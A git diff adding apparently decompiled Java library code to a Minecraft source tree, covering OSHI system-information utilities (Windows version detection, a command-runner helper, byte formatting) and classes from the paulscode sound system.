+  public int getPlatformId()
+  {
+    return _versionInfo.dwPlatformId.intValue();
+  }
+  
+
+
+
+
+
+  public String getServicePack()
+  {
+    return Native.toString(_versionInfo.szCSDVersion);
+  }
+  
+
+
+
+
+  public int getSuiteMask()
+  {
+    return _versionInfo.wSuiteMask.intValue();
+  }
+  
+
+
+
+
+  public byte getProductType()
+  {
+    return _versionInfo.wProductType;
+  }
+  
+  public String toString()
+  {
+    String version = null;
+    
+
+    if (getPlatformId() == 2)
+    {
+      if ((getMajor() == 6) && 
+        (getMinor() == 3) && 
+        (getProductType() == 1))
+      {
+        version = "8.1";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 3) && 
+        (getProductType() != 1))
+      {
+        version = "Server 2012 R2";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 2) && 
+        (getProductType() == 1))
+      {
+        version = "8";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 2) && 
+        (getProductType() != 1))
+      {
+        version = "Server 2012";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 1) && 
+        (getProductType() == 1))
+      {
+        version = "7";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 1) && 
+        (getProductType() != 1))
+      {
+        version = "Server 2008 R2";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 0) && 
+        (getProductType() != 1))
+      {
+        version = "Server 2008";
+
+      }
+      else if ((getMajor() == 6) && 
+        (getMinor() == 0) && 
+        (getProductType() == 1))
+      {
+        version = "Vista";
+
+      }
+      else if ((getMajor() == 5) && 
+        (getMinor() == 2) && 
+        (getProductType() != 1) && 
+        (User32.INSTANCE.GetSystemMetrics(89) != 0))
+      {
+        version = "Server 2003";
+
+      }
+      else if ((getMajor() == 5) && 
+        (getMinor() == 2) && 
+        (getProductType() != 1) && 
+        (User32.INSTANCE.GetSystemMetrics(89) == 0))
+      {
+        version = "Server 2003 R2";
+
+      }
+      else if ((getMajor() == 5) && 
+        (getMinor() == 2) && 
+        (getProductType() == 1))
+      {
+        version = "XP";
+
+      }
+      else if ((getMajor() == 5) && 
+        (getMinor() == 1))
+      {
+        version = "XP";
+
+      }
+      else if ((getMajor() == 5) && 
+        (getMinor() == 0))
+      {
+        version = "2000";
+
+      }
+      else if (getMajor() == 4)
+      {
+        version = "NT 4";
+        
+        if (("Service Pack 6".equals(getServicePack())) && 
+          (Advapi32Util.registryKeyExists(WinReg.HKEY_LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Hotfix\\Q246009")))
+        {
+          return "NT4 SP6a";
+        }
+        
+      }
+      else
+      {
+        throw new RuntimeException("Unsupported Windows NT version: " + _versionInfo.toString());
+      }
+      
+      if (_versionInfo.wServicePackMajor.intValue() > 0) {
+        version = version + " SP" + _versionInfo.wServicePackMajor.intValue();
+      }
+    }
+    else if (getPlatformId() == 1) {
+      if ((getMajor() == 4) && 
+        (getMinor() == 90))
+      {
+        version = "ME";
+      }
+      else if ((getMajor() == 4) && 
+        (getMinor() == 10))
+      {
+        if (_versionInfo.szCSDVersion[1] == 'A') {
+          version = "98 SE";
+        } else {
+          version = "98";
+        }
+      }
+      else if ((getMajor() == 4) && 
+        (getMinor() == 0))
+      {
+        if ((_versionInfo.szCSDVersion[1] == 'C') || (_versionInfo.szCSDVersion[1] == 'B')) {
+          version = "95 OSR2";
+        } else {
+          version = "95";
+        }
+      }
+      else {
+        throw new RuntimeException("Unsupported Windows 9x version: " + _versionInfo.toString());
+      }
+    }
+    else {
+      throw new RuntimeException("Unsupported Windows platform: " + _versionInfo.toString());
+    }
+    
+    return version;
+  }
+  
+  public OSVersionInfoEx(WinNT.OSVERSIONINFOEX versionInfo) {
+    _versionInfo = versionInfo;
+  }
+}
diff --git a/src/minecraft/oshi/util/ExecutingCommand.java b/src/minecraft/oshi/util/ExecutingCommand.java
new file mode 100644
index 0000000..89bc04e
--- /dev/null
+++ b/src/minecraft/oshi/util/ExecutingCommand.java
@@ -0,0 +1,50 @@
+package oshi.util;
+
+import java.io.BufferedReader;
+import java.io.IOException;
+import java.io.InputStreamReader;
+import java.util.ArrayList;
+
+
+
+
+public class ExecutingCommand
+{
+  public ExecutingCommand() {}
+  
+  public static ArrayList<String> runNative(String cmdToRun)
+  {
+    Process p = null;
+    try {
+      p = Runtime.getRuntime().exec(cmdToRun);
+      p.waitFor();
+    } catch (IOException e) {
+      return null;
+    } catch (InterruptedException e) {
+      return null;
+    }
+    
+
+    BufferedReader reader = new BufferedReader(new InputStreamReader(p.getInputStream()));
+    String line = "";
+    ArrayList<String> sa = new ArrayList();
+    try {
+      while ((line = reader.readLine()) != null) {
+        sa.add(line);
+      }
+    } catch (IOException e) {
+      return null;
+    }
+    return sa;
+  }
+  
+  public static String getFirstAnswer(String cmd2launch)
+  {
+    ArrayList<String> sa = runNative(cmd2launch);
+    
+    if (sa != null) {
+      return (String)sa.get(0);
+    }
+    return null;
+  }
+}
diff --git a/src/minecraft/oshi/util/FormatUtil.java b/src/minecraft/oshi/util/FormatUtil.java
new file mode 100644
index 0000000..47ae10c
--- /dev/null
+++ b/src/minecraft/oshi/util/FormatUtil.java
@@ -0,0 +1,76 @@
+package oshi.util;
+
+import java.math.BigDecimal;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public abstract class FormatUtil
+{
+  private static final long kibiByte = 1024L;
+  private static final long mebiByte = 1048576L;
+  private static final long gibiByte = 1073741824L;
+  private static final long tebiByte = 1099511627776L;
+  private static final long pebiByte = 1125899906842624L;
+  
+  public FormatUtil() {}
+  
+  public static String formatBytes(long bytes)
+  {
+    if (bytes == 1L)
+      return String.format("%d byte", new Object[] { Long.valueOf(bytes) });
+    if (bytes < 1024L)
+      return String.format("%d bytes", new Object[] { Long.valueOf(bytes) });
+    if ((bytes < 1048576L) && (bytes % 1024L == 0L))
+      return String.format("%.0f KB", new Object[] { Double.valueOf(bytes / 1024.0D) });
+    if (bytes < 1048576L)
+      return String.format("%.1f KB", new Object[] { Double.valueOf(bytes / 1024.0D) });
+    if ((bytes < 1073741824L) && (bytes % 1048576L == 0L))
+      return String.format("%.0f MB", new Object[] { Double.valueOf(bytes / 1048576.0D) });
+    if (bytes < 1073741824L)
+      return String.format("%.1f MB", new Object[] { Double.valueOf(bytes / 1048576.0D) });
+    if ((bytes % 1073741824L == 0L) && (bytes < 1099511627776L))
+      return String.format("%.0f GB", new Object[] { Double.valueOf(bytes / 1.073741824E9D) });
+    if (bytes < 1099511627776L)
+      return String.format("%.1f GB", new Object[] { Double.valueOf(bytes / 1.073741824E9D) });
+    if ((bytes % 1099511627776L == 0L) && (bytes < 1125899906842624L))
+      return String.format("%.0f TiB", new Object[] { Double.valueOf(bytes / 1.099511627776E12D) });
+    if (bytes < 1125899906842624L) {
+      return String.format("%.1f TiB", new Object[] { Double.valueOf(bytes / 1.099511627776E12D) });
+    }
+    return String.format("%d bytes", new Object[] { Long.valueOf(bytes) });
+  }
+  
+
+
+
+
+
+
+
+  public static float round(float d, int decimalPlace)
+  {
+    BigDecimal bd = new BigDecimal(Float.toString(d));
+    bd = bd.setScale(decimalPlace, 4);
+    return bd.floatValue();
+  }
+}
diff --git a/src/minecraft/paulscode/sound/Channel.java b/src/minecraft/paulscode/sound/Channel.java
new file mode 100644
index 0000000..005aca1
--- /dev/null
+++ b/src/minecraft/paulscode/sound/Channel.java
@@ -0,0 +1,270 @@
+package paulscode.sound;
+
+import java.util.LinkedList;
+import javax.sound.sampled.AudioFormat;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Channel
+{
+  protected Class libraryType = Library.class;
+  
+
+
+
+
+  public int channelType;
+  
+
+
+
+
+  private SoundSystemLogger logger;
+  
+
+
+
+  public Source attachedSource = null;
+  
+
+
+
+  public int buffersUnqueued = 0;
+  
+
+
+
+
+
+
+
+  public Channel(int type)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    channelType = type;
+  }
+  
+
+
+
+  public void cleanup()
+  {
+    logger = null;
+  }
+  
+
+
+
+
+
+  public boolean preLoadBuffers(LinkedList<byte[]> bufferList)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+  public boolean queueBuffer(byte[] buffer)
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public int feedRawAudioData(byte[] buffer)
+  {
+    return 1;
+  }
+  
+
+
+
+
+  public int buffersProcessed()
+  {
+    return 0;
+  }
+  
+
+
+
+
+  public float millisecondsPlayed()
+  {
+    return -1.0F;
+  }
+  
+
+
+
+
+  public boolean processBuffer()
+  {
+    return false;
+  }
+  
+
+
+
+
+
+  public void setAudioFormat(AudioFormat audioFormat) {}
+  
+
+
+
+
+
+  public void flush() {}
+  
+
+
+
+
+
+  public void close() {}
+  
+
+
+
+
+
+  public void play() {}
+  
+
+
+
+
+
+  public void pause() {}
+  
+
+
+
+
+  public void stop() {}
+  
+
+
+
+
+  public void rewind() {}
+  
+
+
+
+
+  public boolean playing()
+  {
+    return false;
+  }
+  
+
+
+
+
+  public String getClassName()
+  {
+    String libTitle = SoundSystemConfig.getLibraryTitle(libraryType);
+    
+    if (libTitle.equals("No Sound")) {
+      return "Channel";
+    }
+    return "Channel" + libTitle;
+  }
+  
+
+
+
+
+  protected void message(String message)
+  {
+    logger.message(message, 0);
+  }
+  
+
+
+
+
+  protected void importantMessage(String message)
+  {
+    logger.importantMessage(message, 0);
+  }
+  
+
+
+
+
+
+
+  protected boolean errorCheck(boolean error, String message)
+  {
+    return logger.errorCheck(error, getClassName(), message, 0);
+  }
+  
+
+
+
+
+  protected void errorMessage(String message)
+  {
+    logger.errorMessage(getClassName(), message, 0);
+  }
+  
+
+
+
+
+  protected void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/CommandObject.java b/src/minecraft/paulscode/sound/CommandObject.java
new file mode 100644
index 0000000..01744b1
--- /dev/null
+++ b/src/minecraft/paulscode/sound/CommandObject.java
@@ -0,0 +1,603 @@
+package paulscode.sound;
+
+
+
+
+
+public class CommandObject
+{
+  public static final int INITIALIZE = 1;
+  
+
+
+
+  public static final int LOAD_SOUND = 2;
+  
+
+
+
+  public static final int LOAD_DATA = 3;
+  
+
+
+
+  public static final int UNLOAD_SOUND = 4;
+  
+
+
+
+  public static final int QUEUE_SOUND = 5;
+  
+
+
+
+  public static final int DEQUEUE_SOUND = 6;
+  
+
+
+
+  public static final int FADE_OUT = 7;
+  
+
+
+
+  public static final int FADE_OUT_IN = 8;
+  
+
+
+
+  public static final int CHECK_FADE_VOLUMES = 9;
+  
+
+
+
+  public static final int NEW_SOURCE = 10;
+  
+
+
+
+  public static final int RAW_DATA_STREAM = 11;
+  
+
+
+
+  public static final int QUICK_PLAY = 12;
+  
+
+
+
+  public static final int SET_POSITION = 13;
+  
+
+
+
+  public static final int SET_VOLUME = 14;
+  
+
+
+
+  public static final int SET_PITCH = 15;
+  
+
+
+
+  public static final int SET_PRIORITY = 16;
+  
+
+
+
+  public static final int SET_LOOPING = 17;
+  
+
+
+
+  public static final int SET_ATTENUATION = 18;
+  
+
+
+
+  public static final int SET_DIST_OR_ROLL = 19;
+  
+
+
+
+  public static final int CHANGE_DOPPLER_FACTOR = 20;
+  
+
+
+
+  public static final int CHANGE_DOPPLER_VELOCITY = 21;
+  
+
+
+
+  public static final int SET_VELOCITY = 22;
+  
+
+
+
+  public static final int SET_LISTENER_VELOCITY = 23;
+  
+
+
+
+  public static final int PLAY = 24;
+  
+
+
+
+  public static final int FEED_RAW_AUDIO_DATA = 25;
+  
+
+
+
+  public static final int PAUSE = 26;
+  
+
+
+
+  public static final int STOP = 27;
+  
+
+
+
+  public static final int REWIND = 28;
+  
+
+
+
+  public static final int FLUSH = 29;
+  
+
+
+
+  public static final int CULL = 30;
+  
+
+
+
+  public static final int ACTIVATE = 31;
+  
+
+
+
+  public static final int SET_TEMPORARY = 32;
+  
+
+
+
+  public static final int REMOVE_SOURCE = 33;
+  
+
+
+
+  public static final int MOVE_LISTENER = 34;
+  
+
+
+
+  public static final int SET_LISTENER_POSITION = 35;
+  
+
+
+
+  public static final int TURN_LISTENER = 36;
+  
+
+
+
+  public static final int SET_LISTENER_ANGLE = 37;
+  
+
+
+
+  public static final int SET_LISTENER_ORIENTATION = 38;
+  
+
+
+
+  public static final int SET_MASTER_VOLUME = 39;
+  
+
+
+
+  public static final int NEW_LIBRARY = 40;
+  
+
+
+
+  public byte[] buffer;
+  
+
+
+
+  public int[] intArgs;
+  
+
+
+
+  public float[] floatArgs;
+  
+
+
+
+  public long[] longArgs;
+  
+
+
+
+  public boolean[] boolArgs;
+  
+
+
+  public String[] stringArgs;
+  
+
+
+  public Class[] classArgs;
+  
+
+
+  public Object[] objectArgs;
+  
+
+
+  public int Command;
+  
+
+
+
+  public CommandObject(int cmd)
+  {
+    Command = cmd;
+  }
+  
+
+
+
+
+  public CommandObject(int cmd, int i)
+  {
+    Command = cmd;
+    intArgs = new int[1];
+    intArgs[0] = i;
+  }
+  
+
+
+
+
+
+  public CommandObject(int cmd, Class c)
+  {
+    Command = cmd;
+    classArgs = new Class[1];
+    classArgs[0] = c;
+  }
+  
+
+
+
+
+  public CommandObject(int cmd, float f)
+  {
+    Command = cmd;
+    floatArgs = new float[1];
+    floatArgs[0] = f;
+  }
+  
+
+
+
+
+  public CommandObject(int cmd, String s)
+  {
+    Command = cmd;
+    stringArgs = new String[1];
+    stringArgs[0] = s;
+  }
+  
+
+
+
+
+  public CommandObject(int cmd, Object o)
+  {
+    Command = cmd;
+    objectArgs = new Object[1];
+    objectArgs[0] = o;
+  }
+  
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, Object o)
+  {
+    Command = cmd;
+    stringArgs = new String[1];
+    stringArgs[0] = s;
+    objectArgs = new Object[1];
+    objectArgs[0] = o;
+  }
+  
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, byte[] buff)
+  {
+    Command = cmd;
+    stringArgs = new String[1];
+    stringArgs[0] = s;
+    buffer = buff;
+  }
+  
+
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, Object o, long l)
+  {
+    Command = cmd;
+    stringArgs = new String[1];
+    stringArgs[0] = s;
+    objectArgs = new Object[1];
+    objectArgs[0] = o;
+    longArgs = new long[1];
+    longArgs[0] = l;
+  }
+  
+
+
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, Object o, long l1, long l2)
+  {
+    Command = cmd;
+    stringArgs = new String[1];
+    stringArgs[0] = s;
+    objectArgs = new Object[1];
+    objectArgs[0] = o;
+    longArgs = new long[2];
+    longArgs[0] = l1;
+    longArgs[1] = l2;
+  }
+  
+
+
+
+
+
+  public CommandObject(int cmd, String s1, String s2)
+  {
+    Command = cmd;
+    stringArgs = new String[2];
+    stringArgs[0] = s1;
+    stringArgs[1] = s2;
+  }
+  
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, int i)
+  {
+    Command = cmd;
+    intArgs = new int[1];
+    stringArgs = new String[1];
+    intArgs[0] = i;
+    stringArgs[0] = s;
+  }
+  
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, float f)
+  {
+    Command = cmd;
+    floatArgs = new float[1];
+    stringArgs = new String[1];
+    floatArgs[0] = f;
+    stringArgs[0] = s;
+  }
+  
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, boolean b)
+  {
+    Command = cmd;
+    boolArgs = new boolean[1];
+    stringArgs = new String[1];
+    boolArgs[0] = b;
+    stringArgs[0] = s;
+  }
+  
+
+
+
+
+
+
+  public CommandObject(int cmd, float f1, float f2, float f3)
+  {
+    Command = cmd;
+    floatArgs = new float[3];
+    floatArgs[0] = f1;
+    floatArgs[1] = f2;
+    floatArgs[2] = f3;
+  }
+  
+
+
+
+
+
+
+
+
+  public CommandObject(int cmd, String s, float f1, float f2, float f3)
+  {
+    Command = cmd;
+    floatArgs = new float[3];
+    stringArgs = new String[1];
+    floatArgs[0] = f1;
+    floatArgs[1] = f2;
+    floatArgs[2] = f3;
+    stringArgs[0] = s;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public CommandObject(int cmd, float f1, float f2, float f3, float f4, float f5, float f6)
+  {
+    Command = cmd;
+    floatArgs = new float[6];
+    floatArgs[0] = f1;
+    floatArgs[1] = f2;
+    floatArgs[2] = f3;
+    floatArgs[3] = f4;
+    floatArgs[4] = f5;
+    floatArgs[5] = f6;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CommandObject(int cmd, boolean b1, boolean b2, boolean b3, String s, Object o, float f1, float f2, float f3, int i, float f4)
+  {
+    Command = cmd;
+    intArgs = new int[1];
+    floatArgs = new float[4];
+    boolArgs = new boolean[3];
+    stringArgs = new String[1];
+    objectArgs = new Object[1];
+    intArgs[0] = i;
+    floatArgs[0] = f1;
+    floatArgs[1] = f2;
+    floatArgs[2] = f3;
+    floatArgs[3] = f4;
+    boolArgs[0] = b1;
+    boolArgs[1] = b2;
+    boolArgs[2] = b3;
+    stringArgs[0] = s;
+    objectArgs[0] = o;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CommandObject(int cmd, boolean b1, boolean b2, boolean b3, String s, Object o, float f1, float f2, float f3, int i, float f4, boolean b4)
+  {
+    Command = cmd;
+    intArgs = new int[1];
+    floatArgs = new float[4];
+    boolArgs = new boolean[4];
+    stringArgs = new String[1];
+    objectArgs = new Object[1];
+    intArgs[0] = i;
+    floatArgs[0] = f1;
+    floatArgs[1] = f2;
+    floatArgs[2] = f3;
+    floatArgs[3] = f4;
+    boolArgs[0] = b1;
+    boolArgs[1] = b2;
+    boolArgs[2] = b3;
+    boolArgs[3] = b4;
+    stringArgs[0] = s;
+    objectArgs[0] = o;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public CommandObject(int cmd, Object o, boolean b, String s, float f1, float f2, float f3, int i, float f4)
+  {
+    Command = cmd;
+    intArgs = new int[1];
+    floatArgs = new float[4];
+    boolArgs = new boolean[1];
+    stringArgs = new String[1];
+    objectArgs = new Object[1];
+    intArgs[0] = i;
+    floatArgs[0] = f1;
+    floatArgs[1] = f2;
+    floatArgs[2] = f3;
+    floatArgs[3] = f4;
+    boolArgs[0] = b;
+    stringArgs[0] = s;
+    objectArgs[0] = o;
+  }
+}
diff --git a/src/minecraft/paulscode/sound/CommandThread.java b/src/minecraft/paulscode/sound/CommandThread.java
new file mode 100644
index 0000000..e3cc006
--- /dev/null
+++ b/src/minecraft/paulscode/sound/CommandThread.java
@@ -0,0 +1,176 @@
+package paulscode.sound;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class CommandThread
+  extends SimpleThread
+{
+  protected SoundSystemLogger logger;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private SoundSystem soundSystem;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  protected String className = "CommandThread";
+  
+
+
+
+
+
+  public CommandThread(SoundSystem s)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    soundSystem = s;
+  }
+  
+
+
+
+
+
+  protected void cleanup()
+  {
+    kill();
+    
+    logger = null;
+    soundSystem = null;
+    
+    super.cleanup();
+  }
+  
+
+
+
+
+
+
+  public void run()
+  {
+    long previousTime = System.currentTimeMillis();
+    long currentTime = previousTime;
+    
+    if (soundSystem == null)
+    {
+      errorMessage("SoundSystem was null in method run().", 0);
+      cleanup();
+      return;
+    }
+    
+
+    snooze(3600000L);
+    
+    while (!dying())
+    {
+
+      soundSystem.ManageSources();
+      
+
+      soundSystem.CommandQueue(null);
+      
+
+      currentTime = System.currentTimeMillis();
+      if ((!dying()) && (currentTime - previousTime > 10000L))
+      {
+        previousTime = currentTime;
+        soundSystem.removeTemporarySources();
+      }
+      
+
+      if (!dying()) {
+        snooze(3600000L);
+      }
+    }
+    cleanup();
+  }
+  
+
+
+
+
+  protected void message(String message, int indent)
+  {
+    logger.message(message, indent);
+  }
+  
+
+
+
+
+  protected void importantMessage(String message, int indent)
+  {
+    logger.importantMessage(message, indent);
+  }
+  
+
+
+
+
+
+
+  protected boolean errorCheck(boolean error, String message)
+  {
+    return logger.errorCheck(error, className, message, 0);
+  }
+  
+
+
+
+
+  protected void errorMessage(String message, int indent)
+  {
+    logger.errorMessage(className, message, indent);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/FilenameURL.java b/src/minecraft/paulscode/sound/FilenameURL.java
new file mode 100644
index 0000000..13d9b51
--- /dev/null
+++ b/src/minecraft/paulscode/sound/FilenameURL.java
@@ -0,0 +1,153 @@
+package paulscode.sound;
+
+import java.net.URL;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class FilenameURL
+{
+  private SoundSystemLogger logger;
+  private String filename = null;
+  
+
+
+
+  private URL url = null;
+  
+
+
+
+
+
+
+
+
+  public FilenameURL(URL url, String identifier)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    filename = identifier;
+    this.url = url;
+  }
+  
+
+
+
+
+
+
+
+
+  public FilenameURL(String filename)
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+    this.filename = filename;
+    url = null;
+  }
+  
+
+
+
+
+  public String getFilename()
+  {
+    return filename;
+  }
+  
+
+
+
+
+
+
+  public URL getURL()
+  {
+    if (url == null)
+    {
+
+      if (filename.matches(SoundSystemConfig.PREFIX_URL))
+      {
+        try
+        {
+
+          url = new URL(filename);
+        }
+        catch (Exception e)
+        {
+          errorMessage("Unable to access online URL in method 'getURL'");
+          
+          printStackTrace(e);
+          return null;
+        }
+        
+      }
+      else
+      {
+        url = getClass().getClassLoader().getResource(SoundSystemConfig.getSoundFilesPackage() + filename);
+      }
+    }
+    
+    return url;
+  }
+  
+
+
+
+
+  private void errorMessage(String message)
+  {
+    logger.errorMessage("MidiChannel", message, 0);
+  }
+  
+
+
+
+
+  private void printStackTrace(Exception e)
+  {
+    logger.printStackTrace(e, 1);
+  }
+}
diff --git a/src/minecraft/paulscode/sound/ICodec.java b/src/minecraft/paulscode/sound/ICodec.java
new file mode 100644
index 0000000..8b7eb7d
--- /dev/null
+++ b/src/minecraft/paulscode/sound/ICodec.java
@@ -0,0 +1,23 @@
+package paulscode.sound;
+
+import java.net.URL;
+import javax.sound.sampled.AudioFormat;
+
+public abstract interface ICodec
+{
+  public abstract void reverseByteOrder(boolean paramBoolean);
+  
+  public abstract boolean initialize(URL paramURL);
+  
+  public abstract boolean initialized();
+  
+  public abstract SoundBuffer read();
+  
+  public abstract SoundBuffer readAll();
+  
+  public abstract boolean endOfStream();
+  
+  public abstract void cleanup();
+  
+  public abstract AudioFormat getAudioFormat();
+}
diff --git a/src/minecraft/paulscode/sound/IStreamListener.java b/src/minecraft/paulscode/sound/IStreamListener.java
new file mode 100644
index 0000000..cf28f69
--- /dev/null
+++ b/src/minecraft/paulscode/sound/IStreamListener.java
@@ -0,0 +1,6 @@
+package paulscode.sound;
+
+public abstract interface IStreamListener
+{
+  public abstract void endOfStream(String paramString, int paramInt);
+}
diff --git a/src/minecraft/paulscode/sound/Library.java b/src/minecraft/paulscode/sound/Library.java
new file mode 100644
index 0000000..7c191f9
--- /dev/null
+++ b/src/minecraft/paulscode/sound/Library.java
@@ -0,0 +1,1610 @@
+package paulscode.sound;
+
+import java.util.HashMap;
+import java.util.Iterator;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Set;
+import javax.sound.sampled.AudioFormat;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class Library
+{
+  private SoundSystemLogger logger;
+  protected ListenerData listener;
+  protected HashMap<String, SoundBuffer> bufferMap = null;
+  
+
+
+
+  protected HashMap<String, Source> sourceMap;
+  
+
+
+
+  private MidiChannel midiChannel;
+  
+
+
+
+  protected List<Channel> streamingChannels;
+  
+
+
+
+  protected List<Channel> normalChannels;
+  
+
+
+
+  private String[] streamingChannelSourceNames;
+  
+
+
+
+  private String[] normalChannelSourceNames;
+  
+
+
+
+  private int nextStreamingChannel = 0;
+  
+
+
+
+  private int nextNormalChannel = 0;
+  
+
+
+
+  protected StreamThread streamThread;
+  
+
+
+
+  protected boolean reverseByteOrder = false;
+  
+
+
+
+
+
+
+  public Library()
+    throws SoundSystemException
+  {
+    logger = SoundSystemConfig.getLogger();
+    
+
+    bufferMap = new HashMap();
+    
+
+    sourceMap = new HashMap();
+    
+    listener = new ListenerData(0.0F, 0.0F, 0.0F, 0.0F, 0.0F, -1.0F, 0.0F, 1.0F, 0.0F, 0.0F);
+    
+
+
+
+    streamingChannels = new LinkedList();
+    normalChannels = new LinkedList();
+    streamingChannelSourceNames = new String[SoundSystemConfig.getNumberStreamingChannels()];
+    
+    normalChannelSourceNames = new String[SoundSystemConfig.getNumberNormalChannels()];
+    
+
+    streamThread = new StreamThread();
+    streamThread.start();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void cleanup()
+  {
+    streamThread.kill();
+    streamThread.interrupt();
+    
+
+    for (int i = 0; i < 50; i++)
+    {
+      if (!streamThread.alive()) {
+        break;
+      }
+      try {
+        Thread.sleep(100L);
+      }
+      catch (Exception e) {}
+    }
+    
+
+    if (streamThread.alive())
+    {
+      errorMessage("Stream thread did not die!");
+      message("Ignoring errors... continuing clean-up.");
+    }
+    
+    if (midiChannel != null)
+    {
+      midiChannel.cleanup();
+      midiChannel = null;
+    }
+    
+    Channel channel = null;
+    if (streamingChannels != null)
+    {
+      while (!streamingChannels.isEmpty())
+      {
+        channel = (Channel)streamingChannels.remove(0);
+        channel.close();
+        channel.cleanup();
+        channel = null;
+      }
+      streamingChannels.clear();
+      streamingChannels = null;
+    }
+    if (normalChannels != null)
+    {
+      while (!normalChannels.isEmpty())
+      {
+        channel = (Channel)normalChannels.remove(0);
+        channel.close();
+        channel.cleanup();
+        channel = null;
+      }
+      normalChannels.clear();
+      normalChannels = null;
+    }
+    
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+
+
+    while (iter.hasNext())
+    {
+      String sourcename = (String)iter.next();
+      Source source = (Source)sourceMap.get(sourcename);
+      if (source != null)
+        source.cleanup();
+    }
+    sourceMap.clear();
+    sourceMap = null;
+    
+    listener = null;
+    streamThread = null;
+  }
+  
+
+
+  public void init()
+    throws SoundSystemException
+  {
+    Channel channel = null;
+    
+
+    for (int x = 0; x < SoundSystemConfig.getNumberStreamingChannels(); x++)
+    {
+      channel = createChannel(1);
+      if (channel == null)
+        break;
+      streamingChannels.add(channel);
+    }
+    
+    for (int x = 0; x < SoundSystemConfig.getNumberNormalChannels(); x++)
+    {
+      channel = createChannel(0);
+      if (channel == null)
+        break;
+      normalChannels.add(channel);
+    }
+  }
+  
+
+
+
+
+  public static boolean libraryCompatible()
+  {
+    return true;
+  }
+  
+
+
+
+
+
+
+
+  protected Channel createChannel(int type)
+  {
+    return new Channel(type);
+  }
+  
+
+
+
+
+
+  public boolean loadSound(FilenameURL filenameURL)
+  {
+    return true;
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean loadSound(SoundBuffer buffer, String identifier)
+  {
+    return true;
+  }
+  
+
+
+
+
+  public LinkedList<String> getAllLoadedFilenames()
+  {
+    LinkedList<String> filenames = new LinkedList();
+    Set<String> keys = bufferMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+
+    while (iter.hasNext())
+    {
+      filenames.add(iter.next());
+    }
+    
+    return filenames;
+  }
+  
+
+
+
+
+  public LinkedList<String> getAllSourcenames()
+  {
+    LinkedList<String> sourcenames = new LinkedList();
+    Set<String> keys = sourceMap.keySet();
+    Iterator<String> iter = keys.iterator();
+    
+    if (midiChannel != null) {
+      sourcenames.add(midiChannel.getSourcename());
+    }
+    
+    while (iter.hasNext())
+    {
+      sourcenames.add(iter.next());
+    }
+    
+    return sourcenames;
+  }
+  
+
+
+
+
+
+
+
+  public void unloadSound(String filename)
+  {
+    bufferMap.remove(filename);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public void rawDataStream(AudioFormat audioFormat, boolean priority, String sourcename, float posX, float posY, float posZ, int attModel, float distOrRoll)
+  {
+    sourceMap.put(sourcename, new Source(audioFormat, priority, sourcename, posX, posY, posZ, attModel, distOrRoll));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void newSource(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float posX, float posY, float posZ, int attModel, float distOrRoll)
+  {
+    sourceMap.put(sourcename, new Source(priority, toStream, toLoop, sourcename, filenameURL, null, posX, posY, posZ, attModel, distOrRoll, false));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void quickPlay(boolean priority, boolean toStream, boolean toLoop, String sourcename, FilenameURL filenameURL, float posX, float posY, float posZ, int attModel, float distOrRoll, boolean tmp)
+  {
+    sourceMap.put(sourcename, new Source(priority, toStream, toLoop, sourcename, filenameURL, null, posX, posY, posZ, attModel, distOrRoll, tmp));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public void setTemporary(String sourcename, boolean temporary)
+  {
+    Source mySource = (Source)sourceMap.get(sourcename);
+    if (mySource != null) {
+      mySource.setTemporary(temporary);
+    }
+  }
+  
